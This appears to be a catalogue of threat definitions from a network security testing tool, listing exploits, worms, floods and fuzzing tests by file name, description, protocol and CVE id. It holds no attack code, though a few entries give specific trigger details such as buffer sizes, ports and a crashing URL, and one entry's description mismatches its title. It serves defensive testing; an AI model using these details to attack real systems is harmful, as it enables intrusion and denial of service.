Threat Package:	Standard
Threat File Name:	hrsCheckpoint_IPv6.xml
Executive Description:	HTTP Request Smuggling Attack Injection (IPv6 Version)
Detailed Description:	This threat injects a known HTTP attack that Checkpoint firewall should block. By sending this crafted attack, Checkpoint's protections are bypassed and IIS will serve the request. The attack would be sent at either port 80 or a proxy port. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120221-09_ASUS_Net4Switch_ipswcom_dll_ActiveX_Control_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	ASUS Net4Switch ipswcom.dll ActiveX Control Stack Buffer Overflow(IPV6 Version)
Detailed Description:	A vulnerability has been reported in the ActiveX control ipswcom.dll, which is shipped as part of ASUS Net4Switch. The vulnerability is due to a boundary error in the Alert() and MsgBox() methods of the control. As a result of passing an overly long string to the control, a stack-based buffer overflow can be triggered. Remote attackers could exploit the vulnerability by enticing the target user to visit a malicious web page. Successful exploitation would allow arbitrary code injection and execution with the privileges of the currently logged on user. A failed attempt at code execution could terminate the browser abnormally.
Protocol Type:	IPV6, HTTP, HTTPS
OSVDB:	79438
Threat File Name:	FSC20070531-22_Mozilla_Products_SVG_Layout_Engine_Index_Parameter_Memory_Corruption_IPv6.xml
Executive Description:	Mozilla Products SVG Layout Engine Index Parameter Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Mozilla Foundation's family of browser products. The flaw is due to improper data processing when handling crafted SVG content. Successful exploitation of this issue can cause a denial of service condition and may allow remote attackers to execute arbitrary code in the context of the target browser. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2867
Threat Package:	Standard
Threat File Name:	goldenftp_bof_IPv6.xml
Executive Description:	Golden FTP Server Pro 2.70 APPE command buffer overflow (IPv6 Version)

Detailed Description:	This threat delivers a crafted FTP APPE command containing an excessively long string which triggers a buffer overflow condition. Golden FTP Server Pro is an FTP service which typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2005-4553
Threat Package:	Standard
Threat File Name:	FSC20100209-15_Microsoft_Windows_IPv6_Router_Advertisement_Stack_Buffer_Overflow.xml
Executive Description:	Microsoft Windows IPv6 Router Advertisement Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Microsoft Windows TCP/IP stack. The vulnerability is due to insufficient bounds checking when handling incoming IPv6 Router Advertisement packets. This vulnerability may be exploited by remote unauthenticated attackers by sending specially crafted packets to the affected host. In attack scenarios where code execution is successful the behaviour of the target machine is completely dependent on the intention of the injected code, which will run in the kernel security context. In cases where code execution is not successful the affected product may terminate abnormally to cause a deny of service condition.
Protocol Type:	ICMPv6
CVEID:	CVE-2010-0239
Threat Package:	Standard
Threat File Name:	firefox_compareto.xml
Executive Description:	Firefox compareTo Heap Overflow
Detailed Description:	This threat exploits a pointer flaw in Mozilla Firefox 1.0.4. The attack sprays the heap with exploit code, and then calls a function which will call the exploit code with a good degree of accuracy. This attack comes typically comes from a webserver, which listens on port 80. This is a client side attack which comes from the Virtual Server.
Protocol Type:	HTTP
CVEID:	CVE-2005-2265
OSVDB:	17968
Threat File Name:	ms_foxpro_activex_rexec.xml
Executive Description:	Microsoft Visual FoxPro 6.0 FPOLE.OCX Arbitrary Command Execution Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in Multiple HP products (HPQUTIL.DLL) ActiveX application, resulting in the overwritingof arbitrary files or code execution. This threat is delived via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5322
Threat Package:	Standard
Threat File Name:	burncms_cmi_a.xml
Executive Description:	burnCMS <= 0.2(root)Remote File Include Vulnerabilities
Detailed Description:	This threat demonstrates a remote file inclusion flaw against authuser.php's root parameter. this threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20060216-01_Nullsoft_Winamp_M3U_Remote_Buffer_Overflow.xml
Executive Description:	Nullsoft Winamp M3U Remote Buffer Overflow
Detailed Description:	A vulnerability exists in the M3U file parsing component of Nullsoft Winamp. The vulnerability is caused by a failure to properly sanitize the length of a field containing a media file name. A remote attacker can exploit this vulnerability by enticing the user to open a crafted M3U file, thereby creating a denial of service condition or potentially injecting and executing arbitrary code on the target system.
Protocol Type:	HTTP
CVEID:	CVE-2006-0708
Threat Package:	Standard
Threat File Name:	TSL20130409-17_Microsoft_Windows_Active_Directory_LDAP_Denial_of_Service_IPv6.xml
Executive Description:	Microsoft Windows Active Directory LDAP Denial of Service(IPV6 version)
Detailed Description:	A denial-of-service vulnerability exists in Microsoft Windows Active Directory Service. The vulnerability is due to excessive memory consumption when processing specially crafted LDAP queries. A remote, authenticated attacker can exploit this vulnerability by sending malicious messages to the LDAP server. A successful attack could make the vulnerable system unresponsive causing a denial-of-service condition.
Protocol Type:	IPV6,LDAP,LDAPS
CVEID:	CVE-2013-1282
OSVDB:	92126
Threat File Name:	TSL20121217-02_RealNetworks_RealPlayer_URL_Parsing_Stack_Buffer_Overflow.xml
Executive Description:	RealNetworks RealPlayer URL Parsing Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in RealNetworks RealPlayer. The vulnerability is due to insufficient sanitation of the URLs while parsing RealMedia files. An attacker can exploit this vulnerability by enticing a user to open a specially crafted Microsoft .url file, possibly embedded in a web page, that has an extension associated with RealPlayer such as .ram or .ra, with the affected application. Successful exploitation can result in arbitrary code execution in the context of the currently logged in user. Unsuccessful exploitation could result in the application terminating abnormally.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS
CVEID:	CVE-2012-5691
OSVDB:	88486
Threat File Name:	FSC20101101-06_ProFTPD_FTP_Server_TELNET_IAC_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	ProFTPD FTP Server TELNET_IAC Stack Buffer Overflow (IPV6 VERSION)
Detailed Description:	ProFTPD FTP Server is vulnerable to a stack based buffer overflow. The vulnerability is due to insufficient validation when processing user input, if a TELNET_IAC escape sequence is received, the server will miscalculate the required length of a stack buffer.A remote attacker could exploit this vulnerability to execute arbitrary code in the security context of the FTP process or daemon. Unsuccessful attempts may terminate the FTP worker process unexpectedly. Since a separate worker process is spawned for each connection, a crash will not lead to any kind of denial of service condition.
Protocol Type:	IPV6,FTP

CVEID: [CVE-2010-4221](#)

Threat File Name: x7chat_sqli.xml
Executive Description: X7 Chat SQL injection Vulnerability
Detailed Description: This threat sends a series of http post messages that will leverage a flaw any web server running the "X7 Chat" software. X7 Chat is a web application that typically listens on port 80.
Protocol Type: HTTP
CVEID: [CVE-2006-3851](#)
Threat Package: Standard

Threat File Name: TSL20120106-02_HP_OpenView_Network_Node_Manager_ov_dll__OVBuildPath_Buffer_Overflow_IPv6.xml
Executive Description: HP OpenView Network Node Manager ov.dll _OVBuildPath Buffer Overflow(IPv6 Version)
Detailed Description: A stack-based buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error in the _OVBuildPath function defined in ov.dll when processing crafted HTTP request parameters. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to the jovgraph.exe or the webapmon.exe CGI program on a target server, potentially causing arbitrary code to be injected and executed within the security context of the Internet Guest Account.
Protocol Type: IPV6,HTTP,HTTPS
CVEID: [CVE-2011-3167](#)

Threat File Name: TSL20140930-06_ManageEngine_Multiple_Products_FileCollector_doPost_Directory_Traversal_IPv6.xml
Executive Description: ManageEngine Multiple Products FileCollector doPost Directory Traversal IPv6 version.
Detailed Description: A directory traversal vulnerability exists in ManageEngine OpManager, Social IT Plus and IT360. The vulnerability is due to lack of authentication and insufficient input validation on parameters sent to "/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector" in HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type: HTTP.IPv6
CVEID: [CVE-2014-6034](#)
OSVDB: [112276](#)

Threat File Name: tinywebgallery_xss_IPv6.xml
Executive Description: Tiny Web Gallery XSS vulnerability (IPv6 Version)
Detailed Description: This threat sends arbitrary web script or HTML via the twg_album parameter to be executed.Tiny Web Gallery is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type: HTTP/IPv6
CVEID: [CVE-2006-1802](#)
Threat Package: Standard

Threat File Name: FSC20080812-11_Microsoft_Excel_Axisparent_Record_Index_Handling_Code_Execution.xml
Executive Description: Microsoft Excel Axisparent Record Index Handling Code Execution
Detailed Description: There exists a code execution vulnerability in Microsoft Excel. The vulnerability is due to insufficient validation of index values when parsing the Axisparent record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type: HTTP
CVEID: [CVE-2008-3004](#)
Threat Package: Standard

Threat File Name: FSC20101012-51_Microsoft_Internet_Explorer_HtmlDlgHelper_Memory_Corruption.xml
Executive Description: Microsoft Internet Explorer HtmlDlgHelper Memory Corruption
Detailed Description: A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling objects which have been improperly created or have been deleted in an HTML file opened by Microsoft Office applications, such like Word. An attacker can exploit this vulnerability by enticing a user to download and process a malicious file with the vulnerable application. This can lead to remote code execution in the context of the logged on user.
Protocol Type: HTTP,HTTPS,IMAP,IMAPS,POP3,POP3-S,SMTP
CVEID: [CVE-2010-3329](#)
Threat Package: Standard

Threat File Name: FSC20080403-24_Borland_StarTeam_Multicast_Service_HTTP_Handling_Buffer_Overflow.xml
Executive Description: Borland StarTeam Multicast Service HTTP Handling Buffer Overflow
Detailed Description: There exists a buffer overflow vulnerability in Borland StarTeam Multicast Service. The vulnerability is due to a boundary error when processing HTTP requests. A remote unauthenticated attacker can send a crafted request to the target service to exploit this vulnerability. Successful attack could allow for arbitrary code being injected and executed with the privileges of the affected service, which is normally System on Windows platforms. In an attack case where code injection is not successful, the affected service will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service, normally System.
Protocol Type: HTTP
CVEID: [CVE-2008-0311](#)
Threat Package: Standard

Threat File Name: FSC20040823-02_Netscape_NSS_Library_Record_Parsing_Buffer_Overflow_IPv6.xml
Executive Description: Netscape NSS Library SSLv2 Record Parsing Buffer Overflow (IPv6 Version)
Detailed Description: A vulnerability exists in Netscape Network Security Services (NSS) library's SSLv2 message parsing routines. A malformed Client Hello message with excessively large Challenge Data could overwrite a memory buffer allocated on the heap. It is possible to perform attacks, without valid credentials, on a vulnerable web server with SSLv2 support enabled that would result in a denial of service or remote code execution. (IPv6 Version)
Protocol Type: HTTPS/IPv6
CVEID: [CVE-2004-0826](#)

Threat Package:	Standard
Threat File Name:	KshGetRootFlood_IPv6.xml
Executive Description:	KSH Get Root Flood (IPv6 Version)
Detailed Description:	This threat floods a user specified target with TCP PSH/ACK packets from a user specified source IP address containing the instructions '/bin/ksh' in the first packet and 'execve' in the second sequential packet. These instructions will be present when a remote user injects shellcode in an attempt to obtain root privileges. This attack may be enhanced by randomizing the source IP address. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatnToOPTION.xml
Executive Description:	Fuzz HTTP OPTION appended by %n
Detailed Description:	Fuzzes the Method field by appending %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	lupper22.xml
Executive Description:	Lupper Worm 22
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	netsky.xml
Executive Description:	NetSky Mass Mailing Worm
Detailed Description:	This threat is a variant of the mass mailing worm Netsky. It sends out a malicious attachment prompting users to run it. It then infects the machine and launches itself at more email addresses. This threat should be targeted at an SMTP server.
Protocol Type:	SMTP
Threat Package:	Standard
Threat File Name:	TSL20170413-04_ISC_BIND_rndc_Control_Channel_Assertion_Failure_Denial_of_Service.xml
Executive Description:	ISC BIND rndc Control Channel Assertion Failure Denial of Service
Detailed Description:	A denial-of-service vulnerability has been reported in ISC BIND. The vulnerability is due to improper handling of a null command string sent to rndc control channel interface. A remote, authenticated attacker could exploit this vulnerability by sending a maliciously crafted packet to the rndc control channel interface of a target BIND server. Successful exploitation could lead to denial-of-service conditions.
Protocol Type:	BIND RNDc Protocol
CVEID:	CVE-2017-3138
Threat File Name:	TSL20140428-06_Adobe_Flash_Player_Shader_Memory_Corruption_IPv6.xml
Executive Description:	Adobe Flash Player Shader Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Adobe Flash Player. The vulnerability is due to a memory corruption error while processing crafted Shader objects. A remote attacker could exploit this vulnerability by enticing a target user to visit a web page embedding a specially crafted Flash file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS,IPV6
CVEID:	CVE-2014-0515
OSVDB:	106347
Threat File Name:	FSC20100512-05_HP_OpenView_NNM_getnnmdata.exe_CGI_ICount_Parameter_Buffer_Overflow.xml
Executive Description:	HP OpenView NNM getnnmdata.exe CGI ICount Parameter Buffer Overflow
Detailed Description:	A code execution vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a format string error in getnnmdata.exe when processing the iCount variable sent in a crafted HTTP request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the getnnmdata.exe process.
	In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the intention of the malicious code.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-1554
Threat Package:	Standard
Threat File Name:	TSL20130709-31_Microsoft_Internet_Explorer_CVE-2013-3152_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2013-3152 Memory Corruption [IPv6, Version]
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6, HTTP,HTTPS
CVEID:	CVE-2013-3152
OSVDB:	94977
Threat File Name:	wiclear_rfi_IPv6.xml
Executive Description:	wiclear v0.10 Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. WiClear is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5506
Threat Package:	Standard
Threat File Name:	FSC20080903-07_ClamAV_AntiVirus_CHM_File_Handling_Denial_of_Service.xml

Executive Description:	ClamAV AntiVirus CHM File Handling Denial of Service
Detailed Description:	A Denial of Service vulnerability exists in the ClamAV AntiVirus product. The vulnerability can be triggered when the application processes crafted CHM files. An unauthenticated attacker can exploit this vulnerability by delivering a crafted file to the scanning engine to cause a denial of service. In an attack case, the affected ClamAV daemon will terminate. This might allow for further exploitation of the target system, exposing the system to other threats in absence of the AntiVirus daemon.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-1389
Threat Package:	Standard
Threat File Name:	Verso_frad_bof_IPv6.xml
Executive Description:	Verso NetPerformer Frame Relay Access Device Telnet Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a very long login name to the telnet service on a NetPerformer Frame Relay Access device causing a denial of service condition. NetPerformer is network equipment and the vulnerability effects the telnet server listening on port 23. (IPv6 Version)
Protocol Type:	Telnet/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140311-14_Microsoft_Internet_Explorer_CVE-2014-0312_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0312 Use After Free(IPv6 Version)
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0312
OSVDB:	104304
Threat File Name:	banex_sqli_IPv6.xml
Executive Description:	Banex PHP MySQL Banner Exchange Remote Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. BanexPHP is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3965
Threat Package:	Standard
Threat File Name:	SymantecFirewallDNSDOS_IPv6.xml
Executive Description:	Symantec Firewall DNS Response Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a DNS packet where the compressed name pointer points back to itself, causing various Symantec Firewall applications to cause the kernel to go into an infinite loop. (IPv6 Version)
Protocol Type:	DNS/IPv6
CVEID:	CVE-2004-0445
OSVDB:	6100
Threat Package:	Standard
Threat File Name:	FSC20060314-11_Microsoft_Excel_Malformed_Record_Code_Execution.xml
Executive Description:	Microsoft Excel Malformed Record Code Execution
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The vulnerability is caused by improper sanitization of an undocumented record in Excel spreadsheet files. An attacker may exploit this vulnerability by enticing a user to open a crafted Excel file, which will enable the attacker to inject and execute arbitrary code within the security context of the target user.
Protocol Type:	HTTP
CVEID:	CVE-2006-0031
Threat Package:	Standard
Threat File Name:	novell_edirectory_IPv6.xml
Executive Description:	Novel eDirectory iMonitor Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends a HTTP GET request with a large buffer. This allows a remote attacker to inject and run code in the context of the webserver. Novell eDirectory is a HTTP server that typically listens on the proprietary port 8008. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2551
OSVDB:	18703
Threat Package:	Standard
Threat File Name:	dlink_crash_IPv6.xml
Executive Description:	Multiple D-Link Products IP Fragment Reassembly Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a fragmented UDP packet which exercises a flaw in the D-Link fragment reassembly routine. (IPv6 Version)
Protocol Type:	UDP/IPv6
CVEID:	CVE-2005-4723
OSVDB:	23128
Threat File Name:	FSC20080212-16_Microsoft_Internet_Explorer_Image_Processing_Argument_Handling_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Image Processing Argument Handling Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer image handling module handles certain arguments. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-0078
Threat Package:	Standard
Threat File Name:	brighstor_sql.xml

Executive Description:	CA Brighstor ARCserve Backup Agent for MS SQL Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the Computer Associates Backup Agent for Microsoft's SQL server. This is caused by sending a buffer of over 3168 bytes to port 6070. This threat attempts to run malicious shell code in the context of the backup utility.
Protocol Type:	Proprietary
CVEID:	CVE-2005-1272
OSVDB:	18501
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-DELETE_PrepndHTTPWithformatn_IPv6.xml
Executive Description:	Fuzz HTTP DELETE with Request-URI prepended with %n (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI field by prepending %n (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	babykatie_vsreal_xss.xml
Executive Description:	ScriptsEZ Easy Ad-Manager Details.PHP Cross-Site Scripting Vulnerability
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page. Easy Ad-Manager is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20071214-06_Novell_GroupWise_Client_IMG_Tag_SRC_Parameter_Buffer_Overflow_IPv6.xml
Executive Description:	Novell GroupWise Client IMG Tag SRC Parameter Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Novell GroupWise Client. The vulnerability is due to a boundary error when processing crafted emails, containing malicious HTML IMG tags. A remote unauthenticated attacker could exploit this vulnerability by sending malicious emails to the target user. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the client process, normally equal to the logged-in user privileges. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2007-6435
Threat Package:	Standard
Threat File Name:	TSL20150226-01_Persistent_Systems_Radia_Client_Automation_Command_Execution.xml
Executive Description:	Persistent Systems Radia Client Automation Command Execution.
Detailed Description:	A command execution vulnerability exists in Persistent Systems Radia Client Automation. The vulnerability is due to missing authentication while processing requests to the radexecd process. A remote unauthenticated attacker can exploit this vulnerability by sending crafted requests to the affected system. Successful exploitation could allow execution of arbitrary commands with SYSTEM privileges. Tester should set variable \$destPort to 3465 before test.
Protocol Type:	TCP
CVEID:	CVE-2015-1497
OSVDB:	118382
Threat File Name:	fwl_dos_IPv6.xml
Executive Description:	FW-1 Replay Denial Of Service (IPv6 Version)
Detailed Description:	This threat causes a denial of service on a Checkpoint FW-1 firewall. It takes advantage of a flaw in the authentication mechanism. The FW-1 authentication system listens on port 256. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2000-0806
OSVDB:	4413
Threat Package:	Standard
Threat File Name:	secureblackbox_activex_overwrite_IPv6.xml
Executive Description:	PGPBBBox.dll 5.1.0.112 SecureBlackbox arbitrary Data Write Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the SecureBlackbox ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3785
Threat Package:	Standard
Threat File Name:	FSC20070814-15_Microsoft_Windows_Vista_Feed_Headlines_Gadget_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Vista Feed Headlines Gadget Code Execution (IPv6 Version)
Detailed Description:	There exists a cross site scripting vulnerability in Microsoft Windows Vista Feed Headlines gadget. The vulnerability is caused due to lack of input validation when parsing RSS feeds. A remote attacker can exploit this vulnerability by convincing a target user to subscribe to a malicious RSS feed, potentially causing arbitrary code to be injected and executed in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3033
Threat Package:	Standard
Threat File Name:	TSL20160429-09_SolarWinds_SRM_Profiler_DuplicateFilesServlet_SQL_Injection_IPv6.xml
Executive Description:	SolarWinds SRM Profiler DuplicateFilesServlet SQL Injection (IPv6)
Detailed Description:	A SQL injection vulnerability has been reported in the DuplicateFilesServlet servlet of SolarWinds Storage Manager Resource Monitor, Profiler Module. This vulnerability is due to insufficient validation of the fileName, sortField and sortDirection parameters when processing HTTP requests. A remote, authenticated attacker could exploit this vulnerability by sending a web request with a malicious SQL query to the target server. Successful exploitation could lead to arbitrary code execution in the security context of SYSTEM.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-4350
Threat File Name:	x86NOOPTcp7_IPv6.xml
Executive Description:	TCP x86 NOOP Packet Variant 7 (IPv6 Version)

Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	IGMPmembershipQuery_IPv6.xml
Executive Description:	IGMP Membership Query Flood (IPv6 Version)
Detailed Description:	Internet Group Management Protocol is used to establish host memberships in particular multicast groups on a single network. This threat is executed by flooding a server with queries from a spoofed falsified source. (IPv6 Version)
Protocol Type:	IGMP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20040809-01_AOL_Instant_Messenger_Away_Message_Buffer_Overflow_IPv6.xml
Executive Description:	AOL Instant Messenger Away Message Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a vulnerability in the way AOL Instant Messenger (AIM) parses an away message. A stack-based buffer overflow can be triggered by opening an excessively long URL using the AIM scheme. An exploit triggering this vulnerability can create a denial of service condition or execute arbitrary code on the target system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0636
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_plus.xml
Executive Description:	Fuzz SMTP HELO verb with +
Detailed Description:	Fuzzes the SMTP HELO Parameter with + from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	fuzz-SMTP-HELO_Parameter_equals.xml
Executive Description:	Fuzz SMTP HELO verb with =
Detailed Description:	Fuzzes the SMTP HELO Parameter with = from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	FSC20100330-01_Novell_Netware_FTP_Server_Remote_Stack_Buffer_Overflow.xml
Executive Description:	Novell Netware FTP Server Remote Stack Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Novell Netware. The vulnerability is due to a boundary error in NWFTPD.nlm when processing the MKD and RMD FTP commands. Remote authenticated attackers can exploit this vulnerability by sending maliciously crafted commands to the affected server. In attack scenarios where code execution is successful the behaviour of the affected server depends entirely on the intention of the injected code, which will be executed within the security context of the affected service.
Protocol Type:	FTP
CVEID:	CVE-2010-0625
Threat Package:	Standard
Threat File Name:	spamassan_ec.xml
Executive Description:	SpamAssassin Bus Error Spam Detection Bypass Vulnerability
Detailed Description:	This threat sends a SMTP email message with an excessive number of recipients causing SpamAssassin to pass the message. SpamAssassin application that typically listens on port 25.
Protocol Type:	HTTP
CVEID:	CVE-2005-3351
OSVDB:	11581
Threat Package:	Standard
Threat File Name:	TSL20151015-03_Adobe_Flash_iExternalizable_Interface_Type_Confusion.xml
Executive Description:	Adobe Flash iExternalizable Interface Type Confusion
Detailed Description:	A type confusion vulnerability has been reported in Adobe Flash. The vulnerability is due to writeExternal method of the iExternalizable interface being treated as a function by the AVM despite being previously overwritten. This vulnerability is being exploited by malware. A remote attacker could exploit this vulnerability by enticing a user into opening a specially crafted SWF or web page. Successful exploitation could lead to arbitrary code execution under the security context of the user process.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2015-7645
Threat File Name:	TSL20140114-13_Oracle_Outside_In_OS_2_Metatype_Parser_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Outside In OS 2 Metatype Parser Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability is due to an error while processing OS/2 Metatypes. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable libraries to handle a malformed file. Depending on the application, user interaction may be required. Successful exploitation can result in execution of arbitrary code or a denial of service condition in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPV6
CVEID:	CVE-2013-5879
OSVDB:	102030
Threat File Name:	TSL20111213-21_Microsoft_Office_PowerPoint_OfficeArt_Shape_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft Office PowerPoint OfficeArt Shape Remote Code Execution(IPV6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office PowerPoint. The vulnerability is due to improper parsing of OfficeArt Shape records. An attacker can exploit this vulnerability by enticing a user to open a specially crafted PowerPoint file. This can result in code execution in the context of the affected application.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2011-4051

Threat File Name:	FSC20041008-01_Microsoft_ASP.NET_Canonicalization_Vulnerability.xml
Executive Description:	Microsoft ASP.NET Canonicalization Vulnerability
Detailed Description:	A vulnerability exists in the ASP.NET programming framework within the authentication schema. The error exists in the canonicalization of requested ASP.NET resource paths. This flaw can be exploited by remote unauthenticated users to access server secured resources without prior authorization.
Protocol Type:	HTTP
CVEID:	CVE-2004-0847
Threat Package:	Standard
Threat File Name:	ms06-040.xml
Executive Description:	MS06-040 Server Service Attack
Detailed Description:	This threat attacks the server service in windows that listens on port 445 (SMB). This is the bug that was documented in ms06-040.
Protocol Type:	SMB
CVEID:	CVE-2006-3439
Threat Package:	Standard
Threat File Name:	FSC20071026-02_RealNetworks_RealPlayer_MP3_Files_Processing_Buffer_Overflow_IPv6.xml
Executive Description:	RealNetworks RealPlayer MP3 Files Processing Buffer Overflow (IPv6 Version)
Detailed Description:	A remote buffer overflow vulnerability exists in RealNetworks RealPlayer application. The vulnerability is due to boundary errors when processing Lyrics3 v2.00 tags in MP3 files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted MP3 file. Successful exploitation would cause a heap-based buffer overflow that may lead to arbitrary code execution in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5080
Threat Package:	Standard
Threat File Name:	raccoon_malformedCookie.xml
Executive Description:	KAME Cookie Crash
Detailed Description:	This threat causes a crash by sending a malformed cookie ISAKMP packet. ISAKMP normally listens on UDP port 500.
Protocol Type:	ISAKMP
Threat Package:	Standard
Threat File Name:	oracle_web_cache_dos1.xml
Executive Description:	Oracle Web Cache Denial of Service 1
Detailed Description:	This threat sends out a HTTP GET request which can cause the Oracle Web Cache service to crash. This is done by specifying a request URL of ../../.
Protocol Type:	HTTP
CVEID:	CVE-2002-0386
OSVDB:	9464
Threat Package:	Standard
Threat File Name:	FSC20060327-08_Symantec_VERITAS_NetBackup_Volume_Manager_Buffer_Overflow_IPv6.xml
